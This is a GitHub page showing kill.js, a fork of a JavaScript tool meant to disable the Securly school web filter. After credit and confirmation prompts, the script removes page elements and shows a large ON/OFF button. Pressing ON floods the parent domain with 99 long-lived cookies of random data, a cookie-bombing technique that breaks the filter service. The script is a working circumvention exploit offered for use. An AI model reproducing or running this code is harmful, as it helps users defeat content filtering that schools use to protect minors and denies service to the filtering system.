forked from zek-c/Securly-Kill-V111
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathkill.js
95 lines (89 loc) · 3.79 KB
/
kill.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// log credits to the console
console.log('made by zek-c!')
//just a variable, does nothing.
var madeByZekC='Made by Zek-C. Free to modify and distribute!';
// alert credits
alert('Made by zek-c');
// add this for check to work
// create a new paragraph element
var pCheck = document.createElement("p");
// add stuff
pCheck.textContent = "Made by zek-c";
// attach it to the body
document.body.appendChild(pCheck);
setTimeout(function() {
check();
}, 1000);
function check() {
document.body
if (document.body.textContent.includes("zek-c")) {
var modified = "This code appears to be unmodified. Even though it appears to be unmodified, ALWAYS check code before executing it. The original can be found at https://github.com/zek-c/securly-kill-v111. Are you sure you want to run this code?";
} else {
var modified = "This code appears to be modified. This may be a false alert. if you know what youre doing or got this code from the correct place, proceed. if else, ALWAYS check code before executing it. The source can be found at https://github.com/zek-c/securly-kill-v111. Are you sure you want to run this code?";
}
var confirmed = confirm(modified);
if (confirmed) {
runCode();
} else {
window.open("https://github.com/zek-c/securly-kill-v111");
}
}
// function to run the killer if confirmed
function runCode() {
const elementsToRemove = document.querySelectorAll("div.head-top, div.wonderbar");
// define elements to remove
elementsToRemove.forEach(function(element) {
element.remove();
});
// make buttons and iframe
const buttonsToRemove = document.querySelectorAll("button.slick-prev.slick-arrow.slick-disabled, button.slick-next.slick-arrow.slick, button.slick-prev.slick-arrow, button.slick-next.slick-arrow.slick-disabled");
const coverIframe = document.createElement("iframe");
coverIframe.style.position = "fixed";
coverIframe.style.top = "0";
coverIframe.style.left = "0";
coverIframe.style.width = "100%";
coverIframe.style.height = "100%";
coverIframe.style.border = "none";
coverIframe.style.backgroundColor = "white";
document.body.appendChild(coverIframe);
const toggleButton = document.createElement("button");
toggleButton.style.position = "fixed";
toggleButton.style.top = "50%";
toggleButton.style.left = "50%";
toggleButton.style.transform = "translate(-50%, -50%)";
toggleButton.style.width = "800px";
toggleButton.style.height = "200px";
toggleButton.style.borderRadius = "100px";
toggleButton.style.backgroundColor = "red";
toggleButton.style.color = "white";
toggleButton.style.fontSize = "100px";
toggleButton.style.fontWeight = "bold";
toggleButton.style.cursor = "pointer";
toggleButton.textContent = "OFF";
toggleButton.addEventListener("click", function() {
// check if already killed and display button accordingly
if (this.textContent === "OFF") {
this.style.backgroundColor = "blue";
this.textContent = "ON";
const o = 32 * 99;
const t = new Date(2e14).toUTCString();
const n = location.hostname.split(".").slice(-2).join(".");
for(let r = 0; r < 99; r++) {
document.cookie = `cd${r}=${encodeURIComponent(btoa(String.fromCharCode.apply(0, crypto.getRandomValues(new Uint8Array(o))))).substring(0, o)};expires=${t};domain=${n};path=/`;
}
alert("Securly Successfully Killed.");
} else {
const o = 32 * 1;
const t = new Date(2e14).toUTCString();
const n = location.hostname.split(".").slice(-2).join(".");
for(let r = 0; r < 99; r++) {
document.cookie = `cd${r}=${encodeURIComponent(btoa(String.fromCharCode.apply(0, crypto.getRandomValues(new Uint8Array(o))))).substring(0, o)};expires=${t};domain=${n};path=/`;
}
alert("For some reason, you gave Securly CPR and it came back to life.");
this.style.backgroundColor = "red";
this.textContent = "OFF";
}
});
// attach buttons
coverIframe.contentDocument.body.appendChild(toggleButton);
}